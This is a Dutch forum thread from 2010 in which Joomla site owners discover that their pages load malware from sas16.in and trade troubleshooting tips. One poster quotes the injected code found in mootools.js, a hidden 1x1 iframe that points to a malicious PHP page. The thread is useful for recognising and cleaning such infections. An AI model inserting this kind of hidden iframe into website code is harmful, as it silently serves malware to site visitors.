Probleem / Virus / Error website?

**Abdelhak Arraiss** · 1118 × bekeken sinds 22-10-2010, 12:53

Heren, ik zit een serieuze vreemde ongekende situatie!

Ik word wakker, rijd naar kantoor en wil een/me website bezoeken en tot mijn verbazing begint IE / Firefox vast te lopen.. waarom? Er word waarschijnlijk een of andere PDF geopend en die blokkeert alles.

Onderin op de pagina word geladen:

sas16.in/html/backupplash.php of een of andere illegtimatezymotic.PDF (Malicious.PDF).

Mijn laptop heb ik geformateerd, hier ligt het dus niet aan. Contact opgenomen met de host, die wist er niks van en uiteindelijk Avira antivir gedownload en deze geeft aan:

Guard: Malware found
HTML/MALICIOUS.PDF.GEN.

Weet iemand wat hier gaande is?

**N. Kaag** · 22-10-2010, 12:55

Bestandsrechten waarschijnlijk verkeerd,,
Gebruik je toevallig Joomla?

**Abdelhak Arraiss** · 22-10-2010, 12:56

Ja die gebruik ik inderdaad. Heb hier nooit problemen mee gehad dus heel raar alemaal. Zou je denken dat dit door rechten komt? mede ondanks dat het zelfs een virus is? (JOOMLA?!)

**Chris Horeweg** · 22-10-2010, 12:59

Joomla ook geupdate toevallig? Joomla is een van de CMS-en met een enorme hoeveelheid exploits..

**N. Kaag** · 22-10-2010, 13:00

Joomla is gewoon zo lek als een mandje,
Heb vorige week hetzelfde verhaal gehad.

Indien mogelijk upgraden naar de nieuwste versie (wat voor mij onmogelijk is).
En de bestanden waarop hij errors weergeeft verwijderen.
En even kijken hoe je alles moet CHModden.
Staat iets over op de Joomla site, bepaalde mappen hebben bepaalde rechten nodig, de rest krijgt dan een standaard.
Let overigens wel op dat je dit even moet doen vanuit de joomla administrator, en niet vanuit je ftp programma (filezilla).
Want anders is Apache de eigenaar niet, en dan krijg je helemaal vreemde dingen.

**Abdelhak Arraiss** · 22-10-2010, 13:07

Ik heb Joomla geupdate van 1.5.11 naar 1.5.21 of 22. Zelfde verhaal voor virtuemart en toen begon hij vreemd te doen. Ik zou dus moeten kijken naar de chmod?

Kan er echt niks over vinden!

**Chris Horeweg** · 22-10-2010, 13:09

Zit je toevallig op een shared/budget webhosting?

**Abdelhak Arraiss** · 22-10-2010, 13:15

uhmm.. xtra-hosting? Redelijk goed denk ik dan?

**N Wilkens** · 22-10-2010, 13:19

Origineel gepost door Abdelhak Arraiss

uhmm.. xtra-hosting? Redelijk goed denk ik dan?

dus wel shared hosting ;) en de hoster heeft zijn server al gecheckt?

**Abdelhak Arraiss** · 22-10-2010, 13:21

Checken op virussen neem ik aan? of moet er een bepaalde functie aangezet worden, mist de hoster wat voor de functie van joomla?

Dit kan toch niet zomaar? Mischien door de update?

In joomla staat er nu:

Joomla! 1.5.21 Stable [ senu takaa ama wepulai ] 08-October-2010 18:00 GMT

En aangezien de pagina iets met: sas16.IN/html laad, kan het een of andere russische virus zijn? heel vaag in ieder geval.
Aanvullend bericht:
Oplossing: het was een javascript iframe dat malware virussen doorstuurden. Oplossing: FTP wachtwoord veranderen en meteen contact opnemen met de host! Ondervind de problemen alsnog maar zal even kijken hoe deze weggaan.

**Mustapha** · 23-10-2010, 01:10

Wat een ellende zeg heb dit nu ook SAS16.IN/BACKUP.PHP op mijn website!!!! Krijg een melding van adobe reader downloaden Ik gebruik zelf een joomla voorpagina gekoppeld aan een vbulletin forum en ook daar is deze virus nu te zien, hoe weg te halen??..

Krijg echter precies hetzelfde problematiek als wat uw vertelt. Het download in ieder geval vanuit sas16.in.

:S:S:S
Aanvullend bericht:
Gevonden: Je kunt het vinden via

media/system/js/mootools.js

('<iframe src="http://sas16.in/da5/suckerholeinthehead2.php" width="1"
height="1" frameborder="0"></iframe>');

in joomla.

Het is een <iframe

Probleem / Virus / Error website?